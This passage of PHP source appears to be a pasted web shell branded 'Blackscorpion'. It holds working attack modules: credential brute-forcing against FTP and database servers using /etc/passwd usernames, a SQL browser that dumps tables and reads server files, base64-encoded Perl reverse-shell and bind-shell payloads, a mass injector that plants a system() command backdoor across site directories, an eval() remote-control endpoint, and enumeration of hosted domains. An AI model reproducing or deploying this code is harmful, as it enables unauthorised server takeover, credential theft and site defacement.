- } elseif( $_POST['proto'] == 'mysql' ) {
- function BlackscorpionBruteForce($ip,$port,$login,$pass) {
- $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
- @mysql_close($res);
- return $res;
- }
- } elseif( $_POST['proto'] == 'pgsql' ) {
- function BlackscorpionBruteForce($ip,$port,$login,$pass) {
- $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
- $res = @pg_connect($str);
- @pg_close($res);
- return $res;
- }
- }
- $success = 0;
- $attempts = 0;
- $server = explode(":", $_POST['server']);
- if($_POST['type'] == 1) {
- $temp = @file('/etc/passwd');
- if( is_array($temp) )
- foreach($temp as $line) {
- $line = explode(":", $line);
- ++$attempts;
- if( BlackscorpionBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
- $success++;
- echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
- }
- if(@$_POST['reverse']) {
- $tmp = "";
- for($i=strlen($line[0])-1; $i>=0; --$i)
- $tmp .= $line[0][$i];
- ++$attempts;
- if( BlackscorpionBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
- $success++;
- echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
- }
- }
- }
- } elseif($_POST['type'] == 2) {
- $temp = @file($_POST['dict']);
- if( is_array($temp) )
- foreach($temp as $line) {
- $line = trim($line);
- ++$attempts;
- if( BlackscorpionBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
- $success++;
- echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
- }
- }
- }
- echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
- }
- echo '<center><h1>Bruteforce</h1></center><div class=content><table><form method=post><tr><td><span>Type</span></td>'
- .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
- .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
- .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
- .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
- .'<span>Server:port</span></td>'
- .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
- .'<tr><td><span>Brute type</span></td>'
- .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
- .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
- .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
- .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
- .'<td><input type=text name=login value="root"></td></tr>'
- .'<tr><td><span>Dictionary</span></td>'
- .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
- .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
- echo '</div><br>';
- BlackscorpionFooter();
- }
- function actionSql() {
- class DbClass {
- var $type;
- var $link;
- var $res;
- function DbClass($type) {
- $this->type = $type;
- }
- function connect($host, $user, $pass, $dbname){
- switch($this->type) {
- case 'mysql':
- if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
- break;
- case 'pgsql':
- $host = explode(':', $host);
- if(!$host[1]) $host[1]=5432;
- if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
- break;
- }
- return false;
- }
- function selectdb($db) {
- switch($this->type) {
- case 'mysql':
- if (@mysql_select_db($db))return true;
- break;
- }
- return false;
- }
- function query($str) {
- switch($this->type) {
- case 'mysql':
- return $this->res = @mysql_query($str);
- break;
- case 'pgsql':
- return $this->res = @pg_query($this->link,$str);
- break;
- }
- return false;
- }
- function fetch() {
- $res = func_num_args()?func_get_arg(0):$this->res;
- switch($this->type) {
- case 'mysql':
- return @mysql_fetch_assoc($res);
- break;
- case 'pgsql':
- return @pg_fetch_assoc($res);
- break;
- }
- return false;
- }
- function listDbs() {
- switch($this->type) {
- case 'mysql':
- return $this->query("SHOW databases");
- break;
- case 'pgsql':
- return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
- break;
- }
- return false;
- }
- function listTables() {
- switch($this->type) {
- case 'mysql':
- return $this->res = $this->query('SHOW TABLES');
- break;
- case 'pgsql':
- return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
- break;
- }
- return false;
- }
- function error() {
- switch($this->type) {
- case 'mysql':
- return @mysql_error();
- break;
- case 'pgsql':
- return @pg_last_error();
- break;
- }
- return false;
- }
- function setCharset($str) {
- switch($this->type) {
- case 'mysql':
- if(function_exists('mysql_set_charset'))
- return @mysql_set_charset($str, $this->link);
- else
- $this->query('SET CHARSET '.$str);
- break;
- case 'pgsql':
- return @pg_set_client_encoding($this->link, $str);
- break;
- }
- return false;
- }
- function loadFile($str) {
- switch($this->type) {
- case 'mysql':
- return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
- break;
- case 'pgsql':
- $this->query("CREATE TABLE Blackscorpion3(file text);COPY Blackscorpion3 FROM '".addslashes($str)."';select file from Blackscorpion3;");
- $r=array();
- while($i=$this->fetch())
- $r[] = $i['file'];
- $this->query('drop table Blackscorpion3');
- return array('file'=>implode("\n",$r));
- break;
- }
- return false;
- }
- function dump($table, $fp = false) {
- switch($this->type) {
- case 'mysql':
- $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
- $create = mysql_fetch_array($res);
- $sql = $create[1].";\n";
- if($fp) fwrite($fp, $sql); else echo($sql);
- $this->query('SELECT * FROM `'.$table.'`');
- $i = 0;
- $head = true;
- while($item = $this->fetch()) {
- $sql = '';
- if($i % 1000 == 0) {
- $head = true;
- $sql = ";\n\n";
- }
- $columns = array();
- foreach($item as $k=>$v) {
- if($v === null)
- $item[$k] = "NULL";
- elseif(is_int($v))
- $item[$k] = $v;
- else
- $item[$k] = "'".@mysql_real_escape_string($v)."'";
- $columns[] = "`".$k."`";
- }
- if($head) {
- $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
- $head = false;
- } else
- $sql .= "\n\t,(".implode(", ", $item).')';
- if($fp) fwrite($fp, $sql); else echo($sql);
- $i++;
- }
- if(!$head)
- if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
- break;
- case 'pgsql':
- $this->query('SELECT * FROM '.$table);
- while($item = $this->fetch()) {
- $columns = array();
- foreach($item as $k=>$v) {
- $item[$k] = "'".addslashes($v)."'";
- $columns[] = $k;
- }
- $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
- if($fp) fwrite($fp, $sql); else echo($sql);
- }
- break;
- }
- return false;
- }
- };
- $db = new DbClass($_POST['type']);
- if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
- $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
- $db->selectdb($_POST['sql_base']);
- switch($_POST['charset']) {
- case "Windows-1251": $db->setCharset('cp1251'); break;
- case "UTF-8": $db->setCharset('utf8'); break;
- case "KOI8-R": $db->setCharset('koi8r'); break;
- case "KOI8-U": $db->setCharset('koi8u'); break;
- case "cp866": $db->setCharset('cp866'); break;
- }
- if(empty($_POST['file'])) {
- ob_start("ob_gzhandler", 4096);
- header("Content-Disposition: attachment; filename=dump.sql");
- header("Content-Type: text/plain");
- foreach($_POST['tbl'] as $v)
- $db->dump($v);
- exit;
- } elseif($fp = @fopen($_POST['file'], 'w')) {
- foreach($_POST['tbl'] as $v)
- $db->dump($v, $fp);
- fclose($fp);
- unset($_POST['p2']);
- } else
- die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
- }
- BlackscorpionHeader();
- echo "
- <center><h1>Sql browser</h1></center><div class=content>
- <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
- <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
- <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
- <td><select name='type'><option value='mysql' ";
- if(@$_POST['type']=='mysql')echo 'selected';
- echo ">MySql</option><option value='pgsql' ";
- if(@$_POST['type']=='pgsql')echo 'selected';
- echo ">PostgreSql</option></select></td>
- <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
- <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
- <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
- $tmp = "<input type=text name=sql_base value=''>";
- if(isset($_POST['sql_host'])){
- if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
- switch($_POST['charset']) {
- case "Windows-1251": $db->setCharset('cp1251'); break;
- case "UTF-8": $db->setCharset('utf8'); break;
- case "KOI8-R": $db->setCharset('koi8r'); break;
- case "KOI8-U": $db->setCharset('koi8u'); break;
- case "cp866": $db->setCharset('cp866'); break;
- }
- $db->listDbs();
- echo "<select name=sql_base><option value=''></option>";
- while($item = $db->fetch()) {
- list($key, $value) = each($item);
- echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
- }
- echo '</select>';
- }
- else echo $tmp;
- }else
- echo $tmp;
- echo "</td>
- <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
- <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
- </tr>
- </table>
- <script>
- s_db='".@addslashes($_POST['sql_base'])."';
- function fs(f) {
- if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
- if(f.p1) f.p1.value='';
- if(f.p2) f.p2.value='';
- if(f.p3) f.p3.value='';
- }
- }
- function st(t,l) {
- d.sf.p1.value = 'select';
- d.sf.p2.value = t;
- if(l && d.sf.p3) d.sf.p3.value = l;
- d.sf.submit();
- }
- function is() {
- for(i=0;i<d.sf.elements['tbl[]'].length;++i)
- d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
- }
- </script>";
- if(isset($db) && $db->link){
- echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
- if(!empty($_POST['sql_base'])){
- $db->selectdb($_POST['sql_base']);
- echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
- $tbls_res = $db->listTables();
- while($item = $db->fetch($tbls_res)) {
- list($key, $value) = each($item);
- if(!empty($_POST['sql_count']))
- $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
- $value = htmlspecialchars($value);
- echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
- }
- echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
- if(@$_POST['p1'] == 'select') {
- $_POST['p1'] = 'query';
- $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
- $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
- $num = $db->fetch();
- $pages = ceil($num['n'] / 30);
- echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
- echo " of $pages";
- if($_POST['p3'] > 1)
- echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
- if($_POST['p3'] < $pages)
- echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
- $_POST['p3']--;
- if($_POST['type']=='pgsql')
- $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
- else
- $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
- echo "<br><br>";
- }
- if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
- $db->query(@$_POST['p2']);
- if($db->res !== false) {
- $title = false;
- echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
- $line = 1;
- while($item = $db->fetch()) {
- if(!$title) {
- echo '<tr>';
- foreach($item as $key => $value)
- echo '<th>'.$key.'</th>';
- reset($item);
- $title=true;
- echo '</tr><tr>';
- $line = 2;
- }
- echo '<tr class="l'.$line.'">';
- $line = $line==1?2:1;
- foreach($item as $key => $value) {
- if($value == null)
- echo '<td><i>null</i></td>';
- else
- echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
- }
- echo '</tr>';
- }
- echo '</table>';
- } else {
- echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
- }
- }
- echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
- if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
- echo htmlspecialchars($_POST['p2']);
- echo "</textarea><br/><input type=submit value='Execute'>";
- echo "</td></tr>";
- }
- echo "</table></form><br/>";
- if($_POST['type']=='mysql') {
- $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
- if($db->fetch())
- echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
- }
- if(@$_POST['p1'] == 'loadfile') {
- $file = $db->loadFile($_POST['p2']);
- echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
- }
- } else {
- echo htmlspecialchars($db->error());
- }
- echo '</div>';
- BlackscorpionFooter();
- }
- function actionNetwork() {
- BlackscorpionHeader();
- $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
- $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
- echo "<center><h1>Back Connecter Via Perl</h1></center><div class=content>
- <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
- <span>Bind port to /bin/sh [perl]</span><br/>
- Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
- </form>
- <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
- <span>Back-connect [perl]</span><br/>
- Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
- </form><br>";
- if(isset($_POST['p1'])) {
- function cf($f,$t) {
- $w = @fopen($f,"w") or @function_exists('file_put_contents');
- if($w){
- @fwrite($w,@base64_decode($t));
- @fclose($w);
- }
- }
- if($_POST['p1'] == 'bpp') {
- cf("/tmp/bp.pl",$bind_port_p);
- $out = BlackscorpionEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
- sleep(1);
- echo "<pre class=ml1>$out\n".BlackscorpionEx("ps aux | grep bp.pl")."</pre>";
- unlink("/tmp/bp.pl");
- }
- if($_POST['p1'] == 'bcp') {
- cf("/tmp/bc.pl",$back_connect_p);
- $out = BlackscorpionEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
- sleep(1);
- echo "<pre class=ml1>$out\n".BlackscorpionEx("ps aux | grep bc.pl")."</pre>";
- unlink("/tmp/bc.pl");
- }
- }
- echo '</div>';
- BlackscorpionFooter();
- }
- function actionInjector(){
- BlackscorpionHeader();
- echo '<center><h1>Mass Code Injector</h1></center>';
- echo '<div class="content">';
- if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
- function get_structure($path,$depth) {
- global $DS;
- $res = array();
- if(in_array(0, $depth)) { $res[] = $path; }
- if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
- $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
- if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
- }
- if(in_array(2, $depth) or in_array(3, $depth)) {
- $tmp2 = array();
- foreach($tmp1 as $t){
- $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
- $tmp2 = array_merge($tmp2, $tp2);
- }
- if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
- }
- if(in_array(3, $depth)) {
- $tmp3 = array();
- foreach($tmp2 as $t){
- $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
- $tmp3 = array_merge($tmp3, $tp3);
- }
- $res = array_merge($res,$tmp3);
- }
- return $res;
- }
- if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
- $name = $_POST['name'] ? $_POST['name'] : '*';
- $type = $_POST['type'] ? $_POST['type'] : 'html';
- $path = $_POST['path'] ? $_POST['path'] : getcwd();
- $code = $_POST['code'] ? $_POST['code'] : 'Team ProBros | Blackscorpion';
- $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
- $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
- $dt = get_structure($path,$depth);
- foreach ($dt as $d) {
- if($mode == 'a') {
- if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
- echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#df5;"> are injected</span></div>';
- } else {
- echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
- }
- } else {
- if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
- echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#df5;"> are injected</span></div>';
- } else {
- echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
- }
- }
- }
- } else {
- echo '<form method="post" action="">
- <table align="center">
- <tr>
- <td>Directory : </td>
- <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
- </tr>
- <tr>
- <td class="title">Mode : </td>
- <td>
- <select style="width: 100px;" name="mode" class="box">
- <option value="a">Apender</option>
- <option value="w">Overwriter</option>
- </select>
- </td>
- </tr>
- <tr>
- <td class="title">File Name & Type : </td>
- <td>
- <input type="text" style="width: 100px;" name="name" value="index"/>
- <select style="width: 100px;" name="type" class="box">
- <option value="html">HTML</option>
- <option value="htm">HTM</option>
- <option value="php" selected="selected">PHP</option>
- <option value="asp">ASP</option>
- <option value="aspx">ASPX</option>
- <option value="xml">XML</option>
- <option value="txt">TXT</option>
- </select></td>
- </tr>
- <tr>
- <td class="title">Code Inject Depth : </td>
- <td>
- <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
- <input type="checkbox" name="depth[]" value="1"/> 1
- <input type="checkbox" name="depth[]" value="2"/> 2
- <input type="checkbox" name="depth[]" value="3"/> 3
- </td>
- </tr>
- <tr>
- <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"><?php
- if (isset($_REQUEST["cmd"])) {
- system($_REQUEST["cmd"]);
- }
- ?></textarea></td>
- </tr>
- <tr>
- <td colspan="2" style="text-align: center;">
- <input type="hidden" name="a" value="Injector">
- <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
- <input type="hidden" name="p1">
- <input type="hidden" name="p2">
- <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
- <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
- </tr>
- </table>
- </form>';
- }
- echo '</div>';
- BlackscorpionFooter();
- }
- function actionRC() {
- if(!@$_POST['p1']) {
- $a = array(
- "uname" => php_uname(),
- "php_version" => phpversion(),
- "Blackscorpion_version" => Blackscorpion_VERSION,
- "safemode" => @ini_get('safe_mode')
- );
- echo serialize($a);
- } else {
- eval($_POST['p1']);
- }
- }
- function actionDomain() {
- BlackscorpionHeader();
- echo '<center><h1>Local Domains</h1></center><div class=content><br>';
- $file = @implode(@file("/etc/named.conf"));
- $Domain_path = "/var/named";
- if (!$file) {
- $domains = scandir($Domain_path);
- $count=1;
- $dc = 0;
- echo "<table align=center border=1 width=59% cellpadding=5>
- <tr><td colspan=2><center>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.</center></td></tr>
- <tr><td>No</td><td>Domain</td><td>User</td></tr>";
- foreach ($domains as &$domain) {
- if (stripos($domain,".db")) {
- $domain = str_replace('.db','',$domain);
- }
- if (strlen($domain) > 6) {
- echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>User</td></tr>";
- }
- }
- echo "</table>";
- }else{
- $count = 1;
- preg_match_all("#named/(.*?).db#", $file, $r);
- $domains = array_unique($r[1]);
- echo "<table align=center border=1 width=59% cellpadding=5>
- <tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
- <tr><td>No</td><td>Domain</td><td>User</td></tr>";
- foreach ($domains as $domain) {
- $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
- echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>".$user['name']."</td></tr>";
- }
- }
- BlackscorpionFooter();
- }
- if( empty($_POST['a']) )
- if(isset($default_action) && function_exists('action' . $default_action))
- $_POST['a'] = $default_action;
- else
- $_POST['a'] = 'SecInfo';
- if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
- call_user_func('action' . $_POST['a']);
- exit;
- ?>
Add Comment
Please, Sign In to add comment